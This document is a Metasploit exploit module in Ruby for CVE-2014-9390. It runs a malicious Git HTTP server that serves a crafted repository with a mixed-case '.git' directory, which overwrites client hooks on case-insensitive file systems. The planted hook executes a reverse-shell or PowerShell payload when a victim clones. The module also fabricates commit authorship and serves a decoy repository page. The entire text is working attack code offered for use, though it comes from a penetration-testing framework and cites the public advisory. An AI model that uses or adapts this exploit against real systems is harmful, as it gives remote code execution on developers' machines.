Malicious Git And Mercurial HTTP Server For CVE-2014-9390

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit4 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::Powershell  
  
def initialize(info = {})  
super(update_info(  
info,  
'Name' => 'Malicious Git and Mercurial HTTP Server For CVE-2014-9390',  
'Description' => %q(  
This module exploits CVE-2014-9390, which affects Git (versions less  
than 1.8.5.6, 1.9.5, 2.0.5, 2.1.4 and 2.2.1) and Mercurial (versions  
less than 3.2.3) and describes three vulnerabilities.  
  
On operating systems which have case-insensitive file systems, like  
Windows and OS X, Git clients can be convinced to retrieve and  
overwrite sensitive configuration files in the .git  
directory which can allow arbitrary code execution if a vulnerable  
client can be convinced to perform certain actions (for example,  
a checkout) against a malicious Git repository.  
  
A second vulnerability with similar characteristics also exists in both  
Git and Mercurial clients, on HFS+ file systems (Mac OS X) only, where  
certain Unicode codepoints are ignorable.  
  
The third vulnerability with similar characteristics only affects  
Mercurial clients on Windows, where Windows "short names"  
(MS-DOS-compatible 8.3 format) are supported.  
  
Today this module only truly supports the first vulnerability (Git  
clients on case-insensitive file systems) but has the functionality to  
support the remaining two with a little work.  
),  
'License' => MSF_LICENSE,  
'Author' => [  
'Jon Hart <jon_hart[at]rapid7.com>' # metasploit module  
],  
'References' =>  
[  
['CVE', '2014-9390'],  
['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/01/01/12-days-of-haxmas-exploiting-cve-2014-9390-in-git-and-mercurial'],  
['URL', 'http://git-blame.blogspot.com.es/2014/12/git-1856-195-205-214-and-221-and.html'],  
['URL', 'http://article.gmane.org/gmane.linux.kernel/1853266'],  
['URL', 'https://github.com/blog/1938-vulnerability-announced-update-your-git-clients'],  
['URL', 'https://www.mehmetince.net/one-git-command-may-cause-you-hacked-cve-2014-9390-exploitation-for-shell/'],  
['URL', 'http://mercurial.selenic.com/wiki/WhatsNew#Mercurial_3.2.3_.282014-12-18.29'],  
['URL', 'http://selenic.com/repo/hg-stable/rev/c02a05cc6f5e'],  
['URL', 'http://selenic.com/repo/hg-stable/rev/6dad422ecc5a']  
  
],  
'DisclosureDate' => 'Dec 18 2014',  
'Targets' =>  
[  
[  
'Automatic',  
{  
'Platform' => [ 'unix' ],  
'Arch' => ARCH_CMD,  
'Payload' =>  
{  
'Compat' =>  
{  
'PayloadType' => 'cmd cmd_bash',  
'RequiredCmd' => 'generic bash-tcp perl bash'  
}  
}  
}  
],  
[  
'Windows Powershell',  
{  
'Platform' => [ 'windows' ],  
'Arch' => [ARCH_X86, ARCH_X86_64]  
}  
]  
],  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptBool.new('GIT', [true, 'Exploit Git clients', true])  
]  
)  
  
register_advanced_options(  
[  
OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']),  
OptString.new('MERCURIAL_URI', [false, 'The URI to use as the malicious Mercurial instance (empty for random)', '']),  
OptString.new('GIT_HOOK', [false, 'The Git hook to use for exploitation', 'post-checkout']),  
OptString.new('MERCURIAL_HOOK', [false, 'The Mercurial hook to use for exploitation', 'update']),  
OptBool.new('MERCURIAL', [false, 'Enable experimental Mercurial support', false])  
]  
)  
end  
  
def setup  
# the exploit requires that we act enough like a real Mercurial HTTP instance,  
# so we keep a mapping of all of the files and the corresponding data we'll  
# send back along with a trigger file that signifies that the git/mercurial  
# client has fetched the malicious content.  
@repo_data = {  
git: { files: {}, trigger: nil },  
mercurial: { files: {}, trigger: nil }  
}  
  
unless datastore['GIT'] || datastore['MERCURIAL']  
fail_with(Exploit::Failure::BadConfig, 'Must specify at least one GIT and/or MERCURIAL')  
end  
  
setup_git  
setup_mercurial  
  
super  
end  
  
def setup_git  
return unless datastore['GIT']  
# URI must start with a /  
unless git_uri && git_uri =~ /^\//  
fail_with(Exploit::Failure::BadConfig, 'GIT_URI must start with a /')  
end  
# sanity check the malicious hook:  
if datastore['GIT_HOOK'].blank?  
fail_with(Exploit::Failure::BadConfig, 'GIT_HOOK must not be blank')  
end  
  
# In .git/hooks/ directory, specially named files are shell scripts that  
# are executed when particular events occur. For example, if  
# .git/hooks/post-checkout was an executable shell script, a git client  
# would execute that file every time anything is checked out. There are  
# various other files that can be used to achieve similar goals but related  
# to committing, updating, etc.  
#  
# This vulnerability allows a specially crafted file to bypass Git's  
# blacklist and overwrite the sensitive .git/hooks/ files which can allow  
# arbitrary code execution if a vulnerable Git client can be convinced to  
# interact with a malicious Git repository.  
#  
# This builds a fake git repository using the knowledge from:  
#  
# http://schacon.github.io/gitbook/7_how_git_stores_objects.html  
# http://schacon.github.io/gitbook/7_browsing_git_objects.html  
case target.name  
when 'Automatic'  
full_cmd = "#!/bin/sh\n#{payload.encoded}\n"  
when 'Windows Powershell'  
psh = cmd_psh_payload(payload.encoded,  
payload_instance.arch.first,  
remove_comspec: true,  
encode_final_payload: true)  
full_cmd = "#!/bin/sh\n#{psh}"  
end  
  
sha1, content = build_object('blob', full_cmd)  
trigger = "/objects/#{get_path(sha1)}"  
@repo_data[:git][:trigger] = trigger  
@repo_data[:git][:files][trigger] = content  
# build tree that points to the blob  
sha1, content = build_object('tree', "100755 #{datastore['GIT_HOOK']}\0#{[sha1].pack('H*')}")  
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content  
# build a tree that points to the hooks directory in which the hook lives, called hooks  
sha1, content = build_object('tree', "40000 hooks\0#{[sha1].pack('H*')}")  
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content  
# build a tree that points to the partially uppercased .git directory in  
# which hooks live  
variants = []  
%w(g G). each do |g|  
%w(i I).each do |i|  
%w(t T).each do |t|  
git = g + i + t  
variants << git unless git.chars.none? { |c| c == c.upcase }  
end  
end  
end  
git_dir = '.' + variants.sample  
sha1, content = build_object('tree', "40000 #{git_dir}\0#{[sha1].pack('H*')}")  
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content  
# build the supposed commit that dropped this file, which has a random user/company  
email = Rex::Text.rand_mail_address  
first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten  
full_name = "#{first.capitalize} #{last.capitalize}"  
tstamp = Time.now.to_i  
author_time = rand(tstamp)  
commit_time = rand(author_time)  
tz_off = rand(10)  
commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \  
"committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \  
"\n" \  
"Initial commit to open git repository for #{company}!\n"  
if datastore['VERBOSE']  
vprint_status("Malicious Git commit of #{git_dir}/#{datastore['GIT_HOOK']} is:")  
commit.each_line { |l| vprint_status(l.strip) }  
end  
sha1, content = build_object('commit', "tree #{sha1}\n#{commit}")  
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content  
# build HEAD  
@repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n"  
# lastly, build refs  
@repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n"  
end  
  
def setup_mercurial  
return unless datastore['MERCURIAL']  
# URI must start with a /  
unless mercurial_uri && mercurial_uri =~ /^\//  
fail_with(Exploit::Failure::BadConfig, 'MERCURIAL_URI must start with a /')  
end  
# sanity check the malicious hook  
if datastore['MERCURIAL_HOOK'].blank?  
fail_with(Exploit::Failure::BadConfig, 'MERCURIAL_HOOK must not be blank')  
end  
# we fake the Mercurial HTTP protocol such that we are compliant as possible but  
# also as simple as possible so that we don't have to support all of the protocol  
# complexities. Taken from:  
# http://mercurial.selenic.com/wiki/HttpCommandProtocol  
# http://selenic.com/hg/file/tip/mercurial/wireproto.py  
@repo_data[:mercurial][:files]['?cmd=capabilities'] = 'heads getbundle=HG10UN'  
fake_sha1 = 'e6c39c507d7079cfff4963a01ea3a195b855d814'  
@repo_data[:mercurial][:files]['?cmd=heads'] = "#{fake_sha1}\n"  
# TODO: properly bundle this using the information in http://mercurial.selenic.com/wiki/BundleFormat  
@repo_data[:mercurial][:files]["?cmd=getbundle&common=#{'0' * 40}&heads=#{fake_sha1}"] = Zlib::Deflate.deflate("HG10UNfoofoofoo")  
  
# TODO: finish building the fake repository  
end  
  
# Build's a Git object  
def build_object(type, content)  
# taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html  
header = "#{type} #{content.size}\0"  
store = header + content  
[Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)]  
end  
  
# Returns the Git object path name that a file with the provided SHA1 will reside in  
def get_path(sha1)  
sha1[0...2] + '/' + sha1[2..40]  
end  
  
def exploit  
super  
end  
  
def primer  
# add the git and mercurial URIs as necessary  
if datastore['GIT']  
hardcoded_uripath(git_uri)  
print_status("Malicious Git URI is #{URI.parse(get_uri).merge(git_uri)}")  
end  
if datastore['MERCURIAL']  
hardcoded_uripath(mercurial_uri)  
print_status("Malicious Mercurial URI is #{URI.parse(get_uri).merge(mercurial_uri)}")  
end  
end  
  
# handles routing any request to the mock git, mercurial or simple HTML as necessary  
def on_request_uri(cli, req)  
# if the URI is one of our repositories and the user-agent is that of git/mercurial  
# send back the appropriate data, otherwise just show the HTML version  
if (user_agent = req.headers['User-Agent'])  
if datastore['GIT'] && user_agent =~ /^git\// && req.uri.start_with?(git_uri)  
do_git(cli, req)  
return  
elsif datastore['MERCURIAL'] && user_agent =~ /^mercurial\// && req.uri.start_with?(mercurial_uri)  
do_mercurial(cli, req)  
return  
end  
end  
  
do_html(cli, req)  
end  
  
# simulates a Git HTTP server  
def do_git(cli, req)  
# determine if the requested file is something we know how to serve from our  
# fake repository and send it if so  
req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '')  
if @repo_data[:git][:files].key?(req_file)  
vprint_status("Sending Git #{req_file}")  
send_response(cli, @repo_data[:git][:files][req_file])  
if req_file == @repo_data[:git][:trigger]  
vprint_status("Trigger!")  
# Do we need this? If so, how can I update the payload which is in a file which  
# has already been built?  
# regenerate_payload  
handler(cli)  
end  
else  
vprint_status("Git #{req_file} doesn't exist")  
send_not_found(cli)  
end  
end  
  
# simulates an HTTP server with simple HTML content that lists the fake  
# repositories available for cloning  
def do_html(cli, _req)  
resp = create_response  
resp.body = <<HTML  
<html>  
<head><title>Public Repositories</title></head>  
<body>  
<p>Here are our public repositories:</p>  
<ul>  
HTML  
  
if datastore['GIT']  
this_git_uri = URI.parse(get_uri).merge(git_uri)  
resp.body << "<li><a href=#{git_uri}>Git</a> (clone with `git clone #{this_git_uri}`)</li>"  
else  
resp.body << "<li><a>Git</a> (currently offline)</li>"  
end  
  
if datastore['MERCURIAL']  
this_mercurial_uri = URI.parse(get_uri).merge(mercurial_uri)  
resp.body << "<li><a href=#{mercurial_uri}>Mercurial</a> (clone with `hg clone #{this_mercurial_uri}`)</li>"  
else  
resp.body << "<li><a>Mercurial</a> (currently offline)</li>"  
end  
resp.body << <<HTML  
</ul>  
</body>  
</html>  
HTML  
  
cli.send_response(resp)  
end  
  
# simulates a Mercurial HTTP server  
def do_mercurial(cli, req)  
# determine if the requested file is something we know how to serve from our  
# fake repository and send it if so  
uri = URI.parse(req.uri)  
req_path = uri.path  
req_path += "?#{uri.query}" if uri.query  
req_path.gsub!(/^#{mercurial_uri}/, '')  
if @repo_data[:mercurial][:files].key?(req_path)  
vprint_status("Sending Mercurial #{req_path}")  
send_response(cli, @repo_data[:mercurial][:files][req_path], 'Content-Type' => 'application/mercurial-0.1')  
if req_path == @repo_data[:mercurial][:trigger]  
vprint_status("Trigger!")  
# Do we need this? If so, how can I update the payload which is in a file which  
# has already been built?  
# regenerate_payload  
handler(cli)  
end  
else  
vprint_status("Mercurial #{req_path} doesn't exist")  
send_not_found(cli)  
end  
end  
  
# Returns the value of GIT_URI if not blank, otherwise returns a random .git URI  
def git_uri  
return @git_uri if @git_uri  
if datastore['GIT_URI'].blank?  
@git_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 2).downcase + '.git'  
else  
@git_uri = datastore['GIT_URI']  
end  
end  
  
# Returns the value of MERCURIAL_URI if not blank, otherwise returns a random URI  
def mercurial_uri  
return @mercurial_uri if @mercurial_uri  
if datastore['MERCURIAL_URI'].blank?  
@mercurial_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 6).downcase  
else  
@mercurial_uri = datastore['MERCURIAL_URI']  
end  
end  
end  
`